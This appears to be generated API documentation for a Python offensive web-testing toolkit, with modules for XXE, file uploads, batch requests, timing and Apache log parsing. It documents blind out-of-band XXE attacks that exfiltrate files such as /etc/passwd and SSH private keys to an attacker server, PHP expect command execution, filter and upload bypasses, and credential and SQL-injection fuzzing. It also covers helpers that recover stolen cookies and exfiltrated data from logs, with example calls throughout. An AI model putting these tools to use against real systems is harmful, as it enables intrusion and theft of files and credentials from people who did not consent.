Utilities 

Examples

payload = basic_file_read("/etc/passwd")
# If vulnerable, response will contain passwd file

your_project.utils.xxe.blind_oob(base_url, file_path='/etc/passwd', dtd_path='xxe/xxe.dtd')[source]

Blind XXE with out-of-band (OOB) exfiltration via external DTD

This is the MAIN payload you send to the vulnerable target. It tells the target’s XML parser to fetch your malicious DTD file from YOUR server.

How it works:

Target parses this XML → sees external DTD reference
Target fetches DTD from YOUR server (base_url/xxe/xxe.dtd)
DTD contains instructions to read local file and send to you
Target’s data gets exfiltrated to your server

Parameters:

base_url (str) – Your server URL (e.g., http://10.10.14.5:8000)
file_path (str) – File to steal from target (e.g., /etc/passwd, /home/user/.ssh/id_rsa)
dtd_path (str) – Path where DTD is served from your server

Returns:

XML payload to send to the vulnerable target

Return type:

Examples

payload = blind_oob("http://10.10.14.5:8000")
# Send this payload to the target's XML endpoint

your_project.utils.xxe.docx_xxe(base_url, dtd_path='xxe/xxe.dtd')[source]

XXE payload for DOCX files (goes in word/document.xml)

Parameters:

base_url (str)
dtd_path (str)

Return type:

your_project.utils.xxe.expect_wrapper(command='id')[source]

XXE using PHP expect wrapper (requires PHP expect module)

Parameters:: command (str)
Return type:: str

your_project.utils.xxe.generate_oob_files(base_url, file_path='/etc/passwd')[source]

Generate BOTH files needed for blind XXE attack - convenient helper!

Blind XXE requires TWO things:

XXE payload → You send this to the target
DTD file → Automatically written to payloads/xxe/xxe.dtd

Complete attack flow:

┌─────────────────────────────────────────────────┐
│ 1. You run: generate_oob_files("http://IP:8000") │
│    Creates: payloads/xxe/oob-xxe.xml             │
│    Creates: payloads/xxe/xxe.dtd                 │
│                                                   │
│ 2. Start your server: python servers/server.py   │
│    (This serves the xxe.dtd file)                │
│                                                   │
│ 3. Send oob-xxe.xml content to target's XML API  │
│                                                   │
│ 4. Target processes XML → fetches your xxe.dtd   │
│    → reads local file → sends to your server     │
│                                                   │
│ 5. Check your server logs or use get_exfil()     │
└─────────────────────────────────────────────────┘

Parameters:

base_url (str) – Your server URL (e.g., http://10.10.14.5:8000)
file_path (str) – File to steal from target (e.g., /etc/passwd)

Returns:

(xxe_payload_path, dtd_file_path)

xxe_payload_path: Send this content to target
dtd_file_path: Automatically served from your server

Return type:

Tuple

Examples

# Generate everything
xxe, dtd = generate_oob_files("http://10.10.14.5:8000")

# Read and send the XXE payload
with open(f"payloads/{xxe}") as f:
    payload = f.read()
requests.post("http://target/api", data=payload)

# Get the stolen data
data = get_exfil()

your_project.utils.xxe.jar_protocol(jar_url)[source]

XXE using jar: protocol for Java apps

Parameters:: jar_url (str)
Return type:: str

your_project.utils.xxe.oob_dtd(base_url, file_path='/etc/passwd', filename='xxe.dtd')[source]

Generate AND write the external DTD file to payloads/xxe/

This DTD file MUST be served from your web server for blind XXE to work. So we automatically write it to the correct location!

The DTD contains instructions to:

Read the local file from the target system
Send that file content back to your server

Parameters:

base_url (str) – Your server URL where you want data sent
file_path (str) – File to steal from target system
filename (str) – DTD filename (default: xxe.dtd)

Returns:

Relative path where DTD was written (e.g., xxe/xxe.dtd)

Return type:

Note

% is XML entity for % - prevents premature parsing

Examples

# Automatically writes to payloads/xxe/xxe.dtd
dtd_path = oob_dtd("http://10.10.14.5:8000", "/etc/passwd")
# DTD is now ready to be served!

your_project.utils.xxe.parameter_entity(base_url, file_path='/etc/passwd')[source]

XXE using parameter entities - self-contained blind XXE (no external DTD needed!)

This is clever: instead of hosting a DTD file, we embed it using data: URI. Everything happens in one payload - no need to serve files!

Use this when: - You can’t/don’t want to host a DTD file - Firewall blocks outbound HTTP but allows file:// protocol - You want a self-contained attack

Parameters:

base_url (str) – Your server URL for receiving exfiltrated data
file_path (str) – File to steal from target

Returns:

Self-contained XXE payload with embedded DTD

Return type:

Examples

payload = parameter_entity("http://10.10.14.5:8000")
# One payload does everything - no DTD file needed!

your_project.utils.xxe.php_filter_b64(file_path='/etc/passwd')[source]

XXE using PHP filter wrapper - reads files as base64 (PHP targets only!)

Why base64? Some files contain characters that break XML parsing: - Binary files (images, executables) - Files with < > & characters - Files with null bytes

Base64 encoding makes ANY file safe to include in XML. You’ll need to base64 decode the result to get the actual file.

Only works if: - Target is PHP application - PHP has filter wrapper enabled (usually is)

Parameters:: file_path (str) – File to read (will be base64 encoded)
Returns:: XXE payload using PHP filter wrapper
Return type:: str

Examples

payload = php_filter_b64("/var/www/config.php")
# Response will contain base64 encoded file
# Decode with: base64.b64decode(response_text)

your_project.utils.xxe.quick_test(base_url, file_path='/etc/passwd')[source]

Quick XXE test - sets up everything and returns payload

This is the FASTEST way to test XXE: 1. Automatically creates the DTD file 2. Returns the XXE payload ready to send

Perfect for quick testing when you just found an XML endpoint.

Parameters:

base_url (str) – Your server URL (e.g., http://10.10.14.5:8000)
file_path (str) – File to steal (default: /etc/passwd)

Returns:

XXE payload string to send to target

Return type:

Examples

# One function does everything!
payload = quick_test("http://10.10.14.5:8000")

# DTD is written, payload is ready - just send it:
requests.post("http://target/api", data=payload)

# Get the result:
print(get_exfil())

your_project.utils.xxe.soap_xxe(base_url, file_path='/etc/passwd')[source]

XXE in SOAP envelope

Parameters:

base_url (str)
file_path (str)

Return type:

your_project.utils.xxe.svg_xxe(base_url, file_path='/etc/passwd')[source]

XXE in SVG format - useful for upload/image processors

Parameters:

base_url (str)
file_path (str)

Return type:

your_project.utils.xxe.utf7_bypass(file_path='/etc/passwd')[source]

XXE using UTF-7 encoding to bypass filters

Parameters:: file_path (str)
Return type:: str

your_project.utils.xxe.write_payload(filename, content, subdir='xxe')[source]

Write payload to payloads/xxe/ directory

Returns: Relative path for serving (e.g., “xxe/payload.xml”)

Parameters:

filename (str)
content (str)
subdir (str)

Return type:

your_project.utils.xxe.xlsx_xxe(base_url, dtd_path='xxe/xxe.dtd')[source]

XXE payload for XLSX files (goes in xl/workbook.xml)

Parameters:

base_url (str)
dtd_path (str)

Return type:

Timing

Time utilities for POCs - timestamp generation, timing attacks, etc.

your_project.utils.timing.date_to_timestamp(date_str, ms=False)[source]

Convert date string to epoch timestamp

Parameters:

date_str – String like ‘2024-01-01 00:00:00’
ms – True to return milliseconds

your_project.utils.timing.epoch_ms_now()[source]: Current epoch time in milliseconds. Use for millisecond-precision timestamps.

your_project.utils.timing.epoch_now()[source]: Current epoch time in seconds. Use for second-precision timestamps.

your_project.utils.timing.epoch_range(start_date, end_date, step_minutes=1)[source]

Generate range of epoch timestamps between two dates

Parameters:

start_date – String like ‘2024-01-01 00:00:00’ or epoch timestamp (int/float)
end_date – String like ‘2024-01-01 23:59:59’ or epoch timestamp (int/float)
step_minutes – Minutes between each timestamp

Returns:

List of epoch timestamps

your_project.utils.timing.epoch_range_ms(start_ms, end_ms)[source]

Generate all millisecond timestamps between start and end

Parameters:

start_ms – Start timestamp in milliseconds (int)
end_ms – End timestamp in milliseconds (int)

Returns:

List of all millisecond timestamps in range

your_project.utils.timing.http_date_to_epoch_ms(http_date)[source]

Convert HTTP Date header to epoch milliseconds

Parameters:: http_date – HTTP date string (RFC 2822 format) e.g., ‘Sun, 05 Oct 2025 02:43:25 GMT’
Returns:: Epoch timestamp in milliseconds

your_project.utils.timing.identify_timestamp(value)[source]

Identify timestamp type and suggest generation function

Parameters:: value – Integer or string timestamp to identify
Returns:: Dict with type info and suggested function

your_project.utils.timing.measure_time(func, *args, **kwargs)[source]

Measure execution time of a function in seconds

Usage:: duration = measure_time(requests.get, url, timeout=10)

your_project.utils.timing.sleep_ms(milliseconds)[source]: Sleep for specified milliseconds

your_project.utils.timing.time_based_check(func, threshold=5.0, *args, **kwargs)[source]

Check if function takes longer than threshold seconds

Useful for blind time-based SQLi/XXE detection Returns duration if >= threshold, None otherwise

your_project.utils.timing.time_ms()[source]: Current time in milliseconds

your_project.utils.timing.time_ns()[source]: Current time in nanoseconds

your_project.utils.timing.time_us()[source]: Current time in microseconds

your_project.utils.timing.timestamp_to_date(timestamp, ms=False)[source]

Convert epoch timestamp to readable date

Parameters:

timestamp – Epoch timestamp
ms – True if timestamp is in milliseconds

File Upload

File upload utilities for multipart/form-data requests

class your_project.utils.file_upload.FileUploader(session=None)[source]

Bases: object

Wrapper for handling file uploads with multipart/form-data

Parameters:: session (Session | None)

upload(url, file_content, filename, file_field_name='file', content_type=None, additional_fields=None, **kwargs)[source]

Upload a file using multipart/form-data

Parameters:

url (str) – Target URL for the upload
file_content (str | bytes) – File content (string or bytes)
filename (str) – Name of the file (can include encoded characters like %00)
file_field_name (str) – Form field name for the file (default: “file”)
content_type (str | None) – MIME type of the file (default: auto-detect)
additional_fields (Dict[str, str] | None) – Additional form fields to include
**kwargs – Additional arguments to pass to requests

Returns:

Response object from the upload request

Return type:

upload_from_path(url, file_path, custom_filename=None, file_field_name='file', content_type=None, additional_fields=None, **kwargs)[source]

Upload a file from disk

Parameters:

url (str) – Target URL for the upload
file_path (str | Path) – Path to the file on disk
custom_filename (str | None) – Custom filename to use (default: actual filename)
file_field_name (str) – Form field name for the file
content_type (str | None) – MIME type of the file (default: auto-detect)
additional_fields (Dict[str, str] | None) – Additional form fields
**kwargs – Additional arguments to pass to requests

Returns:

Response object from the upload request

Return type:

upload_with_bypass(url, file_content, filename, bypass_technique=None, file_field_name='file', additional_fields=None, **kwargs)[source]

Upload a file with various bypass techniques

Parameters:

url (str) – Target URL for the upload
file_content (str | bytes) – File content
filename (str) – Base filename
bypass_technique (str | None) – Technique to use (‘null_byte’, ‘double_extension’, ‘case_variation’, ‘mime_mismatch’)
file_field_name (str) – Form field name for the file
additional_fields (Dict[str, str] | None) – Additional form fields
**kwargs – Additional arguments to pass to requests

Returns:

Response object from the upload request

Return type:

your_project.utils.file_upload.quick_upload(session, url, content, filename, submit_button=None)[source]

Quick helper function for simple file uploads

Parameters:

session (Session) – Requests session to use
url (str) – Target URL
content (str | bytes) – Content to upload
filename (str) – Filename to use
submit_button (tuple[str, str] | None) – Optional tuple of (field_name, field_value) for submit button

Returns:

Response object

Return type:

Batch Requests

Batch request utility for sending multiple HTTP requests with different parameters.

class your_project.utils.batch_request.BatchResult(payload, response, matched, error=None, cookies=None)[source]

Bases: object

Result from a single request in the batch.

Parameters:

payload (Dict[str, Any])
response (httpx.Response | None)
matched (bool)
error (Exception | None)
cookies (Dict[str, str] | None)

cookies: Dict[str, str] | None = None

error: Exception | None = None

matched: bool

payload: Dict[str, Any]

response: httpx.Response | None

async your_project.utils.batch_request.batch_request(base_request, payloads, validate, concurrency=10, timeout=10.0, show_progress=True, proxy=None, filter_matched=False, drop_response=False, stop_on_match=False, **client_kwargs)[source]

Send multiple HTTP requests using a base request as template.

Parameters:

base_request (httpx.Request) – Base httpx.Request to use as template
payloads (Iterator[Dict[str, Any]]) – Iterator of kwargs dicts to override the base request
validate (Callable[[httpx.Response], bool]) – Function to check if response matches criteria
concurrency (int) – Max concurrent requests (default: 10)
timeout (float) – Request timeout in seconds (default: 10.0)
show_progress (bool) – Print successful matches (default: True)
proxy (str | None) – HTTP proxy URL (e.g., “http://127.0.0.1:8080”)
filter_matched (bool) – Only return results where validate() is True (default: False)
drop_response (bool) – Don’t store response object to save memory (default: False)
stop_on_match (bool) – Stop sending requests after first match (default: False)
**client_kwargs – Additional kwargs for httpx.AsyncClient

Returns:

List of BatchResult objects (only matched if filter_matched=True)

Return type:

List[BatchResult]

Examples

# Build base request with all common parameters
client = httpx.Client()
base = client.build_request(
    "POST",
    "http://target/api/login",
    json={"username": "test", "password": "test"},
    headers={"X-API-Key": "secret"}
)

# Fuzz just the username field
results = await batch_request(
    base,
    payloads=[
        {"json": {"username": "admin", "password": "test"}},
        {"json": {"username": "root", "password": "test"}},
    ],
    validate=lambda r: r.status_code == 200,
    proxy="http://127.0.0.1:8080",  # Send through Burp
    filter_matched=True,  # Only return successful logins
    drop_response=True  # Save memory for large scans
)

your_project.utils.batch_request.batch_request_sync(base_request, payloads, validate, **kwargs)[source]

Synchronous wrapper for batch_request.

Examples

client = httpx.Client()
base = client.build_request(
    "POST",
    "http://target/login",
    json={"username": "test", "password": "test"}
)

results = batch_request_sync(
    base,
    payloads=generate_json_payloads("username", ["admin", "root", "test"]),
    validate=lambda r: "dashboard" in r.text,
    proxy="http://127.0.0.1:8080"  # Optional: route through Burp
)

Parameters:

base_request (httpx.Request)
payloads (Iterator[Dict[str, Any]])
validate (Callable[[httpx.Response], bool])

Return type:

List[BatchResult]

your_project.utils.batch_request.generate_cookie_payloads(name, values, base_cookies=None)[source]

Generate payloads for testing different cookie values.

Examples

payloads = generate_cookie_payloads("session", ["admin", "guest", "' OR '1'='1"])

Parameters:

name (str)
values (List[Any])
base_cookies (Dict | None)

Return type:

your_project.utils.batch_request.generate_data_payloads(field, values, base_data=None)[source]

Generate payloads for testing different form data values.

Examples

payloads = generate_data_payloads("password", ["admin", "password", "123456"])
payloads = generate_data_payloads("user", sqli_payloads, base_data={"pass": "test"})

Parameters:

field (str)
values (List[Any])
base_data (Dict | None)

Return type:

your_project.utils.batch_request.generate_header_payloads(header, values, base_headers=None)[source]

Generate payloads for testing different header values.

Examples

payloads = generate_header_payloads("X-Forwarded-For", ["127.0.0.1", "localhost", "192.168.1.1"])
payloads = generate_header_payloads("Authorization", [f"Bearer {token}" for token in tokens])

Parameters:

header (str)
values (List[Any])
base_headers (Dict | None)

Return type:

your_project.utils.batch_request.generate_json_payloads(field, values, base_json=None)[source]

Generate payloads for testing different JSON field values.

Examples

payloads = generate_json_payloads("username", ["admin", "root", "test"])
payloads = generate_json_payloads("role", ["user", "admin"], base_json={"active": True})

Parameters:

field (str)
values (List[Any])
base_json (Dict | None)

Return type:

your_project.utils.batch_request.generate_method_payloads(methods)[source]

Generate payloads for testing different HTTP methods.

Examples

payloads = generate_method_payloads(["GET", "POST", "PUT", "DELETE", "OPTIONS"])
results = batch_request_sync(
    base,
    payloads=payloads,
    validate=lambda r: r.status_code != 405
)

Parameters:: methods (List[str])
Return type:: List[Dict]

your_project.utils.batch_request.generate_multi_payloads(payloads_dict, base_kwargs=None)[source]

Generate payloads for multiple positions (like Burp Pitchfork).

Examples

payloads = generate_multi_payloads({
    "data": [{"user": "admin", "pass": "admin"}, {"user": "root", "pass": "root"}],
    "headers": [{"X-Token": "abc"}, {"X-Token": "xyz"}]
})

Parameters:

payloads_dict (Dict[str, List[Any]])
base_kwargs (Dict | None)

Return type:

your_project.utils.batch_request.generate_param_payloads(name, values, base_params=None)[source]

Generate payloads for testing different URL parameter values.

Examples

client = httpx.Client()
base = client.build_request("GET", "http://target/api", params={"page": 1})

payloads = generate_param_payloads("id", range(1, 100))
results = batch_request_sync(base, payloads, validate=lambda r: r.status_code == 200)

Parameters:

name (str)
values (List[Any])
base_params (Dict | None)

Return type:

your_project.utils.batch_request.generate_path_payloads(paths, base_url=None)[source]

Generate payloads for testing different URL paths.

Examples

# Test different API endpoints
payloads = generate_path_payloads([
    "/api/v1/users",
    "/api/v2/users",
    "/api/users",
    "/.git/config"
])

# Or with base URL
payloads = generate_path_payloads(
    ["1", "2", "999999", "../admin"],
    base_url="http://target/api/users/"
)

Parameters:

paths (List[str])
base_url (str | None)

Return type:

Apache Hooks

Apache log parsing utilities.

Use this when you need to read callbacks from Apache logs instead of the built-in server.

Parses Apache access.log for both query and path parameters:

Query parameters: /?cookie=data or /?exfil=data
Path parameters: /cookie/data or /exfil/data

Works similarly to server_hooks.py but reads from log files.

your_project.utils.apache_hooks.find_param_in_logs(log_file, param_name, timeout=30)[source]

Search Apache logs for a specific parameter (query or path-based). Returns the MOST RECENT occurrence (last match in file).

Searches for both:

Query parameters: ?param_name=value or &param_name=value
Path parameters: /param_name/value

Parameters:

log_file (str) – Path to Apache access.log
param_name (str) – Parameter to search for (e.g., ‘cookies’, ‘exfil’, ‘cookie’)
timeout (int) – Max seconds to wait for log file to exist

Returns:

Parameter value (most recent) or None if not found

Return type:

your_project.utils.apache_hooks.get_cookie(log_file='/var/log/apache2/access.log', timeout=30)[source]

Get cookie value from Apache logs.

Supports both query and path parameters:

Query: /?cookies=value or /?cookie=value
Path: /cookie/value

Parameters:

log_file (str) – Path to Apache access.log
timeout (int) – Max seconds to wait

Returns:

Cookie string (auto-decoded if base64) or None

Return type:

your_project.utils.apache_hooks.get_exfil(log_file='/var/log/apache2/access.log', timeout=30)[source]

Get exfiltrated data from Apache logs.

Supports both query and path parameters:

Query: /?exfil=value
Path: /exfil/value

Parameters:

log_file (str) – Path to Apache access.log
timeout (int) – Max seconds to wait

Returns:

Exfiltrated data string or None

Return type:

your_project.utils.apache_hooks.get_param(param_name, log_file='/var/log/apache2/access.log', timeout=30)[source]

Get any custom parameter from Apache logs.

Parameters:

param_name (str) – Query parameter name to search for
log_file (str) – Path to Apache access.log
timeout (int) – Max seconds to wait

Returns:

Parameter value (URL-decoded) or None

Return type: